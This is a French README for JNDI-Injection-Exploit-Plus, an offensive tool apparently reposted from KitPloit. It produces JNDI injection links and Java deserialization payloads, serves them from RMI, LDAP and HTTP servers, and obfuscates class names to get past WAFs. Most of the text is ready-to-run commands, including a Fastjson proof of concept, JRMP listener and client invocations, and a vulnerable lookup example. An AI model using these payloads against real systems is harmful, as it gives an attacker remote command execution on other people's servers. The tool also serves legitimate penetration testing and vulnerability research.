JNDI-Injection-Exploit-Plus

中文 README

Description

JNDI-Injection-Exploit-Plus est un outil permettant de générer des liens JNDI fonctionnels et de fournir des services d'arrière-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.

En utilisant cet outil, vous pouvez obtenir des liens JNDI que vous pouvez insérer dans votre POC pour tester la vulnérabilité.

Par exemple, voici un vul-poc Fastjson :

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Nous pouvons remplacer "rmi://127.0.0.1:1099/Object" par le lien généré par JNDI-Injection-Exploit-Plus pour tester la vulnérabilité.

De plus, vous pouvez également utiliser JNDI-Injection-Exploit-Plus pour générer des payloads de type base64/hex, comme ysoserial.

Plus que JNDI-Injection-Exploit

JNDI-Injection-Exploit est un excellent outil ; voici sa version améliorée.

En plus

1. Plus de gadgets de référence distante JNDI (total : 3)

• Supporte JDK 6/7/8

2. Plus de gadgets de référence locale JNDI (total : 4)

3. Gadgets de désérialisation (total : 75)

P.S. Plus de gadgets (⬆️) que ysoserial, bienvenue pour proposer une PR ! ^_^

4. Générer et exporter des payloads

Comme ysoserial.

Vous pouvez générer les payloads de désérialisation avec une sortie de type Base64 ou HEX.

5. Wrapper

Quelques wrappers pour encapsuler les données de désérialisation.

• Exemple

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusion

Cacher le nom de la classe pour contourner le WAF.

• Exemple

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Référence : https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Service web pour renvoyer des gadgets de désérialisation

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar

POST /deserial/{Gadget}

cmd={command}&wrapper={wrapper}output={base64/hex}

P.S. Les paramètres wrapper et output sont optionnels.

Utilisation

Liens JNDI

Exécutez comme suit :

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [commande] [-A] [adresse]

où :

• -C - commande exécutée dans le fichier de classe distant.

  (optionnel, la commande par défaut est "open /Applications/Calculator.app")

• -A - l'adresse de votre serveur, qui peut être une adresse IP ou un nom de domaine.

  (optionnel, l'adresse par défaut est celle de la première interface réseau)

Points d'attention :

• Assurez-vous que les ports de votre serveur (1099, 1389, 8180) sont disponibles.

  ou vous pouvez modifier le port par défaut dans la classe run.ServerStart.

• Votre commande est passée à Runtime.getRuntime().exec() comme paramètres,

  donc vous devez vous assurer que votre commande est fonctionnelle dans la méthode exec().

  Les commandes bash comme "bash -c ..." nécessitent l'ajout de guillemets doubles.

Payloads de désérialisation

Exécutez comme suit :

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [commande] [-D] [Gadget] [-O] [base64/hex]

où :

• -C - commande exécutée dans le fichier de classe distant.

  (optionnel, la commande par défaut est "open /Applications/Calculator.app")

• -D - le nom du gadget de désérialisation.

• -O - (Optionnel) le type de sortie de la désérialisation, par défaut base64.

Exploits de désérialisation

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Exemples

Liens JNDI

Démo locale :

1. Démarrez l'outil comme ceci :

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Capture d'écran :

   

2. Supposons que nous injections les liens JNDI (par exemple, rmi://ADDRESS/remoteExploit8 généré à l'étape 1) dans une application vulnérable pouvant être attaquée par injection JNDI.

   Dans cet exemple, cela ressemble à ceci :

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   puis, lorsque nous exécutons ce code, la commande sera exécutée,

   et le journal sera affiché dans le terminal :

   

Pour plus d'exemples : Test-JNDI-Injection-Exploit-Plus

Payloads de désérialisation

$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Résultat de sortie Base64 :

Installation

Nous pouvons choisir l'une des deux méthodes pour obtenir le jar.

1. Téléchargez le dernier jar depuis Realease.

2. Clonez le code source en local et compilez (nécessite Java 1.8+ et Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

P.S. ‼️ Si vous obtenez une erreur du type "java.rmi.xxx does not exists", vous devez définir la variable d'environnement JAVA_HOME.

Avertissement

Toutes les informations et tout le code sont fournis uniquement à des fins éducatives et/ou pour tester vos propres systèmes pour ces vulnérabilités.